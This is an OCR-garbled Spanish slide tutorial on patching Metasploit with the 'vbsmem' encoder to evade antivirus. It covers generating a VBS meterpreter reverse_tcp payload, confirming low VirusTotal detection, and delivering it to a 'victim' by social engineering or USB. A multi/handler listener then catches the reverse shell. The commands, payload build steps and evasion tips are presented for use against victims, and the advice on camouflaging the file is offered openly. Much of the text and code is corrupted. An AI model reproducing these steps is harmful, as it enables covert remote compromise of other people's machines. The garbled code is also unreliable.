Está en la página 1de 30

Generando script malicioso con Metasploit Framework

Expositor: K43L

Metasploit
Es un proyecto OpenSource de seguridad in ormatica !ue proporciona in ormaci"n acerca de #ulnera$ilidades y ayuda en test de penetraci"n y en el desarrollo de irmas para para Sistemas de %etecci"n de &ntrusos' Su su$proyecto mas conocido es el amoso Metasploit Framework( una )erramienta para desarrollar y e*ecutar exploits contra una ma!uina remota'

VbsMem Encoding
El #$smem es un parc)e( algo as+ como un encoding !ue los desarrolladores de metasploit )an implementado precisamente para indetectar arc)i#os maliciosos rente a los anti#irus( el parc)e lo puedes descargar desde el siguiente link: )ttp:,,de#'metasploit'com,redmine,attac)ments ,-./,#$smem01'2'1'patc)

3$smem en Metasploit
El parc)e !ue necesitamos implementar en nuestro metasploit es precisamente este( el cual nos permitir4 generar scripts muc)o mas e icientes rente a la detecci"n de los anti#irus' El codigo uente del parc)e lo podemos apreciar en el link anterior( claramente se puede #er !ue esta programado en ru$y( por lo cual se de$e tener algo de conocimiento $asico so$re este lengua*e para poder lle#ar a ca$o nuestro o$*eti#o'

Modi icando el arc)i#o exe'r$


5ien( antes de seguir de$emos de aplicar el parc)e al metasploit( pero de$emos de modi icar el arc)i#o exe'r$ !ue se encuentra en el siguiente directorio: /opt/metasploit/msf3/lib/msf/util Este arc)i#o contiene codigo en ru$y al igual !ue el parc)e !ue aca$amos de descargar y contiene toda la con iguracion !ue nos permite encodear arc)i#os maliciosos dentro del metasploit y entre otras cosas' La re#ision !ue se tiene de este arc)i#o es la re#ision 16647 seg8n mi arc)i#o de con iguracion' Mientras !ue la re#isi"n del parc)e es la #ersi"n 11793( asi !ue podria !uedar inser#i$le nuestro Metasploit en caso de !ue ocurra algun pro$lema con las #ersiones'

Modi icando el arc)i#o exe'r$


:ara !ue no )aya pro$lemas #amos a editar el arc)i#o manualmente( antes de )acer la modi icacion respecti#a( #amos )acer una copia de nuestro arc)i#o original de la siguiente manera con permisos de root: cp exe'r$ exe'r$0original El anterior comando lo e*ecutamos desde la terminal con permisos de root desde el directorio donde se encuentra el arc)i#o r$'exe

;nali<ando el parc)e del 3$smem


Si a$rimos el parc)e con cual!uier editor de textos plano( podemos apreciar !ue el arc)i#o $asicamente )ace lo siguiente: ;=ade una unci"n to_win32_vbsmem al ic)ero lib/msf/util/exe.rb ;=ade una opci"n #$smem al switch en el !ue se comprue$a la opci"n del tipo de encoding para llamar a esta unci"n !ue aca$amos de crear' ;=ade una opci"n #$smem a la lista de ormatos de la ayuda >o eso parece? @rea un nue#o ic)ero data/templates/vbsmem.vbs( !ue es una plantilla para la creaci"n de los ic)eros'

Editando el fichero exe.rb


5ien para )acer esto( a$rimos el arc)i#o exe'r$ con un editor de textos plano( en mi caso use el gedit y pueden a$rir el arc)i#o con el siguiente comando: sudo gedit exe'r$ Aal y como muestra la siguiente imagen:

Copiando c digo fuente


5ien a)ora para continuar( copiamos la unci"n toBwin32B#$smem desde el parc)e )acia nuestro arc)i#o exe'r$( tomando en cuenta !ue de$emos de $orrar los comentarios !ue est4n el la unci"n CDE ya !ue si no $orramos los comentarios el c"digo copiado no tiene ninguna uncionalidad

!magen"# Copiando la $unci n vbsmem

!magen 2# %egando la $unci n Vbsmem

&claraciones sobre el Copiado/%egado


5ueno( se de$e aclarar !ue la unci"n del #$smem lo de$emos copiar sin el signo CDE como mencione anteriormente( tam$iFn de$emos darnos cuenta !ue )ay !ue copiar la unci"n al inali<ar la unci"n !ue se encuentra mas arri$a( estos son conocimientos $4sicos de programaci"n( tal y como se mostra$a en la anterior imagen( se copia el c"digo uente despuFs !ue termina otra unci"n'

Editando mas opciones


%espuFs de reali<ar el copiado de la unci"n( el siguiente paso !ue de$emos )acer es $uscar la siguiente l+nea en el arc)i#o exe'r$ G,w)en H#$sHC y a=adimos el siguiente codigo lo !ue esta de otro color: when 'vba' exe = Msf::Util::EXE.to_win32pe(fra ewor!" co#e" exeopts$ o%tp%t = Msf::Util::EXE.to_exe_vba(exe$ when 'vbsmem' output = Msf::Util::EXE.to_win32_vbsmem(framewor ! "o#e! e$eopts% when 'vbs' o%tp%t = Msf::Util::EXE.to_win32pe_vbs(fra ewor!" co#e" exeopts. er&e(' :persist =( false )$$

Editando mas 'pciones


%espuFs de reali<ar la operaci"n anteriormente mostrada( el siguiente paso es $uscar la cadena: Gsel 'toBexecuta$leB mtB ormatsC( $a*o el cual a=adiremos el siguiente c"digo Clo !ue esta de di erente colorE #ef self.to_exec%table_f t_for ats *'#ll'"'exe'"'exe+ s all'"'elf'"' acho'"'vba'!'vbsmem'"'vbs'"'loop+ vbs'"'asp'"'war', en#

(uardando los cambios en el archivo exe.rb


5ien( llegados )asta este punto el siguiente paso !ue se de$e reali<ar( es el guardado de los cam$ios reali<ados en el arc)i#o exe'r$( as+ !ue guardamos los cam$ios y procedemos a crear el arc)i#o #$smem'#$s !ue se encuentra el el directorio: ,opt,metasploit,ms 3,data,templates' ; simple #ista podemos o$ser#ar !ue el arc)i#o #$smem'#$s no esta creado( as+ !ue tendremos !ue crearlo con el siguiente comando cat vbs e +-.2.-.patch . tail +/01 . se# 's2322' ( #ata2te plates2vbs e .vbs

!magen 3# Creando el archivo vbsmem.vbs

(enerando nuestro )cript malicioso


;)ora el siguiente paso es generar el script malicioso para en#iarle a la ma!uina #ictima( de esta orma podremos in ectar su m4!uina y tener acceso respecti#amente' 5ien para generar nuestro script malicioso nos #amos al siguiente directorio: ,pentest,exploits, ramework 5ien una #e< u$icados en ese directorio( el siguiente paso es usar la utilidad de Cms payloadE !ue nos permitir4 crear nuestro script malicioso( introducimos el siguiente comando en la s)ell ',ms payload windows,meterpreter,re#erseBtcp l)ostI1.'.'.'3 lportI6666 J K ms encode Lt #$smem M ,root,descargas,exploit'#$s

!magen *# Creaci n del script malicioso

&claraciones sobre la creaci n del script malicioso


5ueno( antes de seguir se de$en )acer algunas aclaraciones so$re la creaci"n del script malicioso( ca$e mencionar !ue en el comando anterior #e+amos como creamos el script( el mismo !ue se encuentra en el directorio ,root,descargas,exploit'#$s( claramente se puede #er !ue se trata de un script en #isual $asic'

Comprobando nuestro script malicioso


:ara compro$ar si nuestro script es Cindetecta$leE nos #amos a la siguiente we$: )ttps:,,www'#irustotal'com, %esde la direcci"n anterior podremos anali<ar si nuestro script es detecta$le a los anti#irus mas populares !ue existen en nuestro medio( ca$e mencionar !ue no existe malware !ue sea 1.. N indetecta$le a los anti#irus ya !ue estos constantemente est4n actuali<ando sus irmas en $usca de nue#as amena<as( por otra parte podemos disminuir ese actor'

!magen +# Comprobando nuestro archivo malicioso

,etalles sobre la comprobaci n de nuestro archivo malicioso


5ien como se puede #er en la imagen anterior( nuestro script es detectado por 3 de 43 anti#irus( de los cuales el 8nico !ue cono<co es C;#astE( tenemos un $uen script( ya !ue solamente lo detectaron 3 de 43 anti#irus( no esta nada mal( de )ec)o se podr+a decir !ue solamente lo detecto un so tware anti#irus( por!ue no )e #isto a nadie utili<ar esos anti#irus !ue nos muestra la p4gina donde se anali<" el script

!nfectando la m-.uina v/ctima con el script malicioso


5ueno( a)ora procedemos a en#iarle el arc)i#o malicioso a la ma!uina #+ctima( esto se reali<a mediante muc)os mFtodos( uno podr+a ser mediante la ing' Social( o mediante dispositi#os us$' 5ien( suponiendo !ue nuestro arc)i#o malicioso lleg" a la m4!uina #ictima( #amos a proceder a con igurar nuestro metasploit para !ue cuando la #+ctima e*ecute el arc)i#o malicioso nos muestre una sesi"n del meterpreter' Este paso se reali<a antes de en#iarle el arc)i#o malicioso a la m4!uina #ictima( para !ue nuestro metasploit se !uede escuc)ando en el puerto !ue se con igur" anteriormente en el script malicioso'

,e0ando a la escucha Metasploit $ramewor1


5ien a)ora desde el mismo directorio de donde creamos el script malicioso #amos a con igurar nuestro metasploit para !ue se !uede a la escuc)a de las posi$les conexiones de !ue #allamos a tener desde la ma!uina #+ctima( con el siguiente comando: ',ms console %espuFs de reali<ar el siguiente comando nos cargar4 la )erramienta Metasploit Framewrok para !ue podamos utili<arlo y con igurarlo.

,e0ando a la escucha Metasploit $ramewor1


; continuaci"n se muestran los comandos !ue de$eremos introducir una #e< !ue cargue el Metasploit Framework: use multi/handler set pa2load windows/meterpreter/reverse_tcp set lhost 3 "4.4.4.3 set lport 3 ++++ exploit 50

!magen 6# ,e0ando a la escucha el Metasploit $ramewor1

E0ecutando el script malicioso desde la ma.uina v/ctima


5ien a)ora esperamos !ue la #+ctima e*ecute nuestro arc)i#o malicioso( antes de continuar ca$e aclarar !ue para !ue nuestro script no sea sospec)oso( podemos usar otras utilidades para camu lar y para !ue la #+ctima no #aya a sospec)ar de !ue se trata de un malware'

!magen 7# E0ecuci n del script malicioso

!magen 8# &briendo una sesi n Meterpreter

Conclusiones
Metasploit es una poderosa )erramienta !ue nos o rece una gran gama de opciones en cuanto a pentesting y )acking se trata'

También podría gustarte